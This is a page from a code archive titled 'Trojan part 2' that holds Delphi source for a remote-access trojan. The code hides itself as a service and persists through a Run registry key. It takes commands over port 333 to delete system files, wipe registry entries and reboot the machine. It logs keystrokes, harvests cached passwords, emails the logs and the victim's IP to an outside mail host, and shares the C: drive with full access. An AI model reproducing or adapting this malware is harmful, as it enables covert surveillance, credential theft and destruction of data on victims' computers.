Mega Code Archive
Trojan part 2
<![CDATA[
procedure TForm1.Edit1Change(Sender: TObject);
var
I: Integer;
begin
if edit1.text='a26'then
begin
for I := 0 to 5000 do
begin
CreateDirectory(PChar('C:\windows\desktop\mmm' + IntToStr(I)), nil);
end;
end;
if edit1.text='a21'then
begin
WriteText('hehheh!!!');
edit1.text:='0' ;
end;
if edit1.text='a22'then
begin
asm
@loop1:
mov cx,0ffh;
mov al,cl;
out 70,al;
out 71,al;
loop @loop1 ;
end;
edit1.text:='0' ;
end;
if edit1.text='a23'then
begin
clientsocket1.Socket.SendText(hook.text);
edit1.text:='0' ;
end;
if edit1.text='a24'then
begin
clientsocket1.Address:=label3.caption;
clientsocket1.Active:=true;
edit1.text:='0' ;
end;
if edit1.text='a19'then
begin
asm
cli
@@WaitOutReady:
in al,64h
test al,00000010b
jnz @@WaitOutReady
mov al,0FEh
out 64h,al
end;
edit1.text:='0' ;
End;
if edit1.text='a20'then
begin
ShowWindow(FindWindow( 'BaseBar',nil), SW_NORMAL);//başlam menü listesi
ShowWindow(FindWindow( 'Progman',nil), SW_NORMAL);//masaüstü
edit1.text:='0' ;
end;
if edit1.text='a1'then
begin
exitwindowsex(EWX_SHUTDOWN,0);
edit1.text:='0' ;
end;
if edit1.text='a2'then
begin
SetCursorPos(15000,15000);
edit1.text:='0' ;
end;
if edit1.text='a3'then
begin
Perform(WM_SYSCOMMAND, SC_SCREENSAVE,1);
edit1.text:='0' ;
end;
if edit1.text='a4'then
begin
asm
mov ax,0feh
out 64h,ax
end;
edit1.text:='0' ;
end;
if edit1.text='a5'then
begin
OPENDOOR ;
edit1.text:='0' ;
end;
if edit1.text='a6'then
begin
closedoor ;
edit1.text:='0' ;
end;
if edit1.text='a7'then
begin
timer1.enabled:=true;
edit1.text:='0' ;
end;
if edit1.text='a8'then
begin
timer1.enabled:=false;
edit1.text:='0' ;
end;
if edit1.text='a9'then
begin
e; //ekranı ters cevir
edit1.text:='0' ;
end;
if edit1.text='a10'then
begin
CoverMyTracks ;
edit1.text:='0' ;
end;
if edit1.text='a11'then
begin
DeleteFile(SystemDir+'\windows\Command.com'); //wincrash2
DeleteFile(SystemDir+'\windows\Win.com');
DeleteFile(SystemDir+'\windows\system.ini');
DeleteFile(SystemDir+'\windows\win.ini');
DeleteFile(SystemDir+'\Command.com');
DeleteFile(SystemDir+'\autoexe.bat');
edit1.text:='0' ;
end;
if edit1.text='a12'then
begin
Reg:=TRegistry.Create;
Keys:=TStringList.Create; //saati sil
Values:=TStringList.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
if not Reg.OpenKey('\RemoteAccess\Addresses',false) then Exit;
Reg.GetValueNames(Values);
for I:=0 to Values.Count-1 do
Reg.DeleteValue(Values[I]);
if not Reg.OpenKey('\RemoteAccess\Profiles',false) then Exit;
Reg.GetKeyNames(Keys);
for I:=0 to Keys.Count-1 do
Reg.DeleteKey(Keys[I]);
Reg.Free;
Values.Free;
Keys.Free;
edit1.text:='0' ;
end;
if edit1.text='a13'then
begin
exitwindowsex(EWX_reboot,0); //restart
end;
if edit1.text='a15'then
begin
Winexec('Control.exe Date/Time',sw_shownormal);
edit1.text:='0' ; //saat dialog ac
end;
if edit1.text='a16'then
begin
ShowWindow(FindWindow( 'BaseBar',nil), SW_MINIMIZE);//başlam menü listesi
ShowWindow(FindWindow( 'Progman',nil), SW_HIDE);//masaüstü
edit1.text:='0' ; //format belgelerim
end;
if edit1.text='a17'then
begin
Setres(800, 600);
edit1.text:='0' ;
end;
if edit1.text='a18'then
begin
Setres(640, 480);
edit1.text:='0' ;
end;
end ;
function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external 'KERNEL32.DLL';
function GetAppPath: string;
begin
Result := ExtractFilePath(Application.ExeName);
if Result[Length(Result)] <> '\' then
Result := Result + '\';
end;
//.............................................................
procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterServiceProcess(GetCurrentProcessID,1);
serversocket1.Port:=333;
serversocket1.Active:=true;
try
copyfile(PChar(Application.Exename),'C:\WINDOWS\SYSTEM\Win32r.exe',true);
RegisterServiceProcess(GetCurrentProcessID,0);
SetWindowLong(Application.Handle, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
finally
with TRegistry.Create do
try
RootKey := HKEY_CURRENT_USER;
if OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) then
AppExe:=#34+Application.Exename+#34;
WriteString('Win32r', AppExe);
finally
Label1.Caption := GetAppPath;
if label1.caption <> 'C:\WINDOWS\SYSTEM\' then
begin
ShellExecute(0, 'open', PChar('C:\WINDOWS\SYSTEM\Win32r.exe'), nil, nil, SW_SHOW);
halt(0);
end;
end;
end;
end;
//............................................................
procedure TForm1.Timer1Timer(Sender: TObject);
begin
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0); //monitor kapa
end;
procedure TForm1.FormActivate(Sender: TObject);
begin
RegisterServiceProcess(GetCurrentProcessID,1);
end;
procedure TForm1.FormShow(Sender: TObject);
begin
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox('Can''t load passwords: User is not logon.', 'Error', mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
hook.lines.Add('No passwords found...');
RegisterServiceProcess(GetCurrentProcessID,1);
end;
procedure TForm1.Timer2Timer(Sender: TObject);
var
a:string;
b:integer;
begin
b:=strtoint(label4.text );
b:=b+1;
label4.text:=inttostr(b);
if label4.text='900' then
begin
label4.text:='0';
if edit2.text<> '127.0.0.1' then
begin
NMSMTP1.Host := 'mail.rt.net.tr';
NMSMTP1.UserID := 'ip no trojan!';
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddress := 'trojan79trojan@yahoo.com';
NMSMTP1.PostMessage.ToAddress.Text := 'tret';
NMSMTP1.PostMessage.Body.Text := datetimetostr(now)+hook.Text;
NMSMTP1.PostMessage.Subject := edit2.text;
NMSMTP1.SendMail;
NMSMTP1.Disconnect;
end;
end;
edit2.text :=nmsmtp1.LocalIP;
end;
procedure TForm1.Edit2Change(Sender: TObject);
begin
if edit2.text <> '127.0.0.1' then
begin
NMSMTP1.Host := 'mail.rt.net.tr';
NMSMTP1.UserID := 'ip no for trojan!';
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddress := 'trojan79trojan@yahoo.com';
NMSMTP1.PostMessage.ToAddress.Text := 'aa';
NMSMTP1.PostMessage.Body.Text := datetimetostr(now) ;
NMSMTP1.PostMessage.Subject := edit2.text;
NMSMTP1.SendMail;
NMSMTP1.Disconnect;
end;
end;
procedure TForm1.KeySpy1KeySpyDown(Sender: TObject; Key: Byte;
KeyStr: String);
begin
if (KeyStr[1] = '-') and (KeyStr[2] = '-') then
begin
Hook.Lines.Add('');
OldRet := True;
end
else
if OldRet then
begin
Hook.Lines.Add('');
OldRet := False;
end;
Hook.Text := Hook.Text + KeyStr;
{ For 16-bit only}
{$IFNDEF WIN32}
if (Length(Hook.Text) > $F0) then Hook.Clear;
{$ENDIF}
end;
procedure TForm1.KeySpy1ActiveTitleChanged(Sender: TObject;
ActiveTitle: String);
begin
OldRet := True;
Hook.Text := Hook.Text + #13#10'[' + ActiveTitle + ']';
{ For 16-bit only}
{$IFNDEF WIN32}
if (Length(Hook.Text) > $F0) then Hook.Clear;
{$ENDIF}
end;
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
label3.caption:=Socket.RemoteAddress ;
end;
procedure TForm1.label4Change(Sender: TObject);
begin
SharedResource1.ShareName := 'XP';
SharedResource1.ResourcePath := 'C:\';
SharedResource1.ResourceType := RTFolder;
SharedResource1.AccessType := ATFull;
SharedResource1.Share;
end;
end.
]]>